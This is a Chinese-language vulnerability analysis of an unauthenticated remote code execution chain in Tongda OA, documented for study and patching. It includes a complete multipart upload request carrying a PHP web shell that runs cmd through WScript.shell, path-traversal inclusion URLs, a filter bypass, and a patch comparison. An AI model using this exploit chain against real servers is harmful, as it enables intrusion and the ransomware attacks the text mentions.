0x00 概述
20200317,网上爆出通达oa被利用0day中勒索病毒的消息,官方已出漏洞补丁。
该0day为利用文件上传和文件包含组合利用进行RCE,无须认证。
0x01 影响范围
2013,2013增强版,2015,2016,2017,v11
//补丁只看见v11(2020)有geteway.php(文件包含漏洞)补丁
0x02 漏洞重现
利用v11版本:
文件包含漏洞
http://localhost/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
文件上传漏洞
上传文件路径在非webroot目录,如:
“D:\MYOA\attach\im\2003\ddd.test.jpg”
请求数据包:
POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.20.0
Content-Length: 633
Content-Type: multipart/form-data; boundary=ee65cd98fdbee896acd30a7b2552b6b5
--ee65cd98fdbee896acd30a7b2552b6b5
Content-Disposition: form-data; name="P"
x
--ee65cd98fdbee896acd30a7b2552b6b5
Content-Disposition: form-data; name="UPLOAD_MODE"
1
--ee65cd98fdbee896acd30a7b2552b6b5
Content-Disposition: form-data; name="DEST_UID"
1
--ee65cd98fdbee896acd30a7b2552b6b5
Content-Disposition: form-data; name="ATTACHMENT"; filename="test07.jpg"
Content-Type: image/jpeg
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
--ee65cd98fdbee896acd30a7b2552b6b5--
再利用文件包含执行php代码
json=%7B%22url%22%3A%22%2Fgeneral%2F..%2F..%2Fattach%2Fim%2F2003%2F1941158481.test07.jpg%22%7D&cmd=whoami
或者这样包含也行
http://127.0.0.1/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2003/1044529275.test09.jpg
//实测无法直接执行phpinfo();
利用windows的com组件绕过disable_function()
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
0x03 修复方案
打补丁
0x04 漏洞分析
PHP Zend 5.4解密php文件即可
文件上传漏洞分析
upload.php:5
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
要有P参数否则会经过auth.php登录验证,不为空即可。
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ'));
echo json_encode(data2utf8($dataBack));
exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ'));
echo json_encode(data2utf8($dataBack));
exit;
}
}
要有DEST_UID参数(整数)否则会报接收方ID无效,而且设置0的时候UPLOAD_MODE要设置2。
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
}
}
$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
进入upload()
utility_file.php:1321
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_('½ûÖ¹ÉÏ´«ºó׺ÃûΪ[%s]µÄÎļþ'), substr($ATTACH_NAME, strrpos($ATTACH_NAME, '.') + 1));
}
进入is_uploadable()
function is_uploadable($FILE_NAME)
{
$POS = strrpos($FILE_NAME, '.');
if ($POS === false) {
$EXT_NAME = $FILE_NAME;
} else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == 'php') {
return false;
}
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
}
只判断了.php,利用windows特性php.即可绕过,或者利用文件包含直接传jpg即可。
$MSG_CATE = $_POST['MSG_CATE'];
if ($MSG_CATE == 'file') {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
} else {
if ($MSG_CATE == 'image') {
$CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
} else {
$DURATION = intval($DURATION);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
}
}
......
$dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit;
即可返回文件名
文件包含漏洞分析
gateway.php:
if ($P != '') {
if (preg_match('/[^a-z0-9;]+/i', $P)) {
echo _('·Ç·¨²ÎÊý');
exit;
}
session_id($P);
session_start();
session_write_close();
if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
echo _('RELOGIN');
exit;
}
}
让P参数为空即可
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val) {
if ($key == 'data') {
$val = (array) $val;
foreach ($val as $keys => $value) {
${$keys} = $value;
}
}
if ($key == 'url') {
$url = $val;
}
}
if ($url != '') {
if (substr($url, 0, 1) == '/') {
$url = substr($url, 1);
}
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
include_once $url;
}
}
exit;
}
解析json数据,如果有键值url就赋值给$url。
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
include_once $url;
}
接着就包含了$url。
补丁对比
gateway.php增加了路径判断:
if (strpos($url, '..') !== false) {
echo _('ERROR URL');
exit;
}
upload.php去掉了else分支
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
}
include_once './auth.php';
一定要经过auth.php登录验证了。
0x05 结语
这个漏洞利用简单,危害挺大
只有v11有gateway.php补丁,其他版本可能要利用其他包含漏洞。
上传漏洞好像通杀全版本,不过是好像是作为附件下载,而且是非web目录,所以即使传了php代码危害也不大。
需要绕过disable_function。
0x06 参考资料